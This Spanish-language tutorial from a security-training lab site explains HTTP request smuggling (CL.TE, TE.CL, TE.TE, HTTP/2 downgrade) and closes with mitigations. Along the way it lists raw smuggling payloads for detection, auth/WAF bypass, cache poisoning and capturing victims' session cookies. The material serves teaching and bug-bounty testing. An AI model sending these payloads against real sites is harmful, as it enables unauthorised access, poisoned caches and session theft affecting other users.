Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoCon cuenta

HTTP Request Smuggling — CL.TE, TE.CL, TE.TE y caching exploitation

Cuando el frontend y el backend interpretan el mismo request de forma diferente. Smuggling para bypass de auth, cache poisoning, victima-aware attacks.

Gorka El Bochi9 de mayo de 202614 min

Respuesta rápida

HTTP Request Smuggling ocurre cuando un proxy (frontend) y el server backend interpretan el mismo HTTP request de forma distinta debido a diferencias en cómo procesan Content-Length y Transfer-Encoding. El atacante "esmugla" un segundo request dentro del primero, que el backend procesa como si viniera de otro cliente. Vectores: bypass de auth/WAF, cache poisoning, robar cookies de víctimas, XSS persistente.


Las tres clases

ClaseFrontend usaBackend usaCaracterística
CL.TEContent-LengthTransfer-EncodingFrontend respeta CL, backend respeta TE
TE.CLTransfer-EncodingContent-LengthFrontend respeta TE, backend respeta CL
TE.TETransfer-EncodingTransfer-Encoding (con obfuscation)Ambos respetan TE pero uno se "rompe" con header malformado

CL.TE explicado

http
POST / HTTP/1.1
Host: target.tld
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
  • Frontend lee Content-Length: 13 → el body es 13 bytes (0\r\n\r\nSMUGGLED). Forwarea esos 13 bytes al backend.
  • Backend lee Transfer-Encoding: chunked → el body termina en 0\r\n\r\n. Procesa solo 0\r\n\r\n como request 1. El "SMUGGLED" queda en el buffer del backend como inicio del próximo request.

El próximo request legítimo de cualquier víctima se concatena con SMUGGLED, formando un request "anidado" que el backend procesa como si la víctima lo hubiera enviado.


TE.CL explicado

http
POST / HTTP/1.1
Host: target.tld
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


  • Frontend procesa TE → el body completo es 8\r\nSMUGGLED\r\n0\r\n\r\n. Forwarea todo.
  • Backend procesa CL → el body son solo 3 bytes (8\r\n). El resto queda en buffer.

El "SMUGGLED" queda esperando para concatenarse con el próximo request legítimo.


TE.TE — obfuscation de Transfer-Encoding

Ambos respetan TE, pero una variante mal-formada hace que uno lo ignore:

http
Transfer-Encoding: chunked
Transfer-Encoding: x

POST / HTTP/1.1
Host: target.tld
Content-Length: 3
Transfer-Encoding: chunked
Transfer-encoding: chunked
Transfer-Encoding : chunked
TRANSFER-Encoding: chunked
Transfer-Encoding:chunked

Variantes:

  • Espacio antes del : (Apache lo ignora, otros no).
  • Casing mixto (algunos parsers normalizan, otros no).
  • Múltiples headers TE (algunos toman el primero, otros el último).
  • Sin espacio después de :.

Si el frontend acepta Transfer-Encoding: chunked pero el backend lo rechaza por un detalle, vuelves a CL.TE. Y viceversa.


Detección con Burp

bash
# Burp Suite has built-in HTTP Request Smuggler extension
# Manual con Burp Repeater:

POST / HTTP/1.1
Host: target.tld
Content-Length: 4
Transfer-Encoding: chunked

1
A
0


Si responde 200 → CL.TE (backend procesó solo el chunk válido). Si responde 400 / timeout → otra cosa.

Time-based detection si la respuesta no varía:

http
POST / HTTP/1.1
Host: target.tld
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

CL.TE: backend espera más datos (timeout 5-10s). CL/CL: backend procesa instantly.


Impactos típicos

1. Bypass de WAF / auth en headers

http
POST /benign HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.tld
X-Bypass-Auth: yes
Foo: bar

El WAF/proxy ve /benign y lo pasa. El backend procesa el smuggled /admin con el header X-Bypass-Auth: yes añadido, que solo es válido si viene de una IP interna (que el atacante no tiene). Pero como el smuggled request "viene desde el proxy" (que es interno), el header pasa.

2. Cache poisoning

http
POST / HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: target.tld
X-Original-Url: /admin/dashboard

Si el backend tiene endpoint que procesa X-Original-Url, el response del admin dashboard se cachea en el CDN bajo la URL /home. Cualquier visitante de /home ve el dashboard.

3. Robar cookies de víctimas

Smuggled request que loggea headers que llegan:

http
POST /reflect-headers HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked

0

GET /api/log-headers HTTP/1.1
Host: target.tld
Foo: bar

Cuando una víctima legítima envía su próximo request, sus headers (incluyendo Cookie: session=...) se concatenan con el smuggled. El backend ve un request "víctima-augmentado" y los loggea. El atacante captura.

Caso especial: redirige a la víctima a un endpoint propio donde sus cookies se loggean en un log público.

4. Stored XSS persistente "víctima-aware"

Smuggled request hace POST con HTML malicioso que se almacena en el contexto de la víctima.


Versions y contextos vulnerables

  • AWS ALB / Classic ELB versiones antiguas (parcheadas).
  • HAProxy versions con bugs específicos.
  • Cloudflare ha tenido casos de TE.TE.
  • Akamai legacy.
  • Custom proxies mal implementados son los más comunes en bug bounty.

Cada provider con publicación de patches → research público para identificar versions afectadas.


Detection avanzada — HTTP/2 downgrade

HTTP/2 → HTTP/1.1 downgrade en el proxy reabre vectores. HTTP/2 separa headers por field, no hay ambigüedad. Pero al downgradearlo a HTTP/1.1 para el backend, el proxy recombina headers. Si combina mal:

less
HTTP/2 con header: x-foo: bar\r\nContent-Length: 0
Downgrade a HTTP/1.1:
x-foo: bar
Content-Length: 0
[más headers...]
[body]

CRLF injection vía headers HTTP/2 → smuggling pleno.


Tooling

  • Burp Suite HTTP Request Smuggler extension (gratis, automatiza detection).
  • smuggler.py (Python script de defparam).
  • h2cSmuggler para HTTP/2 → 1.1 downgrades.

Hunting checklist

  • ¿Hay reverse proxy / CDN delante del backend? (probable si es app SaaS).
  • ¿El response de un POST con Transfer-Encoding: chunked es coherente?
  • ¿Content-Length y Transfer-Encoding ambos mandados, ¿cuál respeta cada layer?
  • ¿Time-based detection muestra timeout en CL.TE?
  • ¿Probar headers TE obfuscados (espacios, casing, dobles)?
  • ¿Hay HTTP/2 → 1.1 downgrade en el proxy?
  • ¿Cache se ve afectado por requests smuggled?

Mitigación correcta

  1. HTTP/2 end-to-end sin downgrade.
  2. Mismo HTTP parser en frontend y backend (ej. nginx + nginx, no nginx + Node.js custom).
  3. Rechazar requests con ambos Content-Length y Transfer-Encoding.
  4. Strict header parsing que normaliza pre-forward.
  5. http_version 1.1 mandatorio en backend si hay frontend HTTP/1.0.
  6. WAF rules específicas para detectar smuggling patterns.

Labs relacionados

Practica CL.TE, TE.CL, TE.TE y cache poisoning via smuggling: labs de HTTP Smuggling.

Practica esto en un lab

Http Smuggling

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados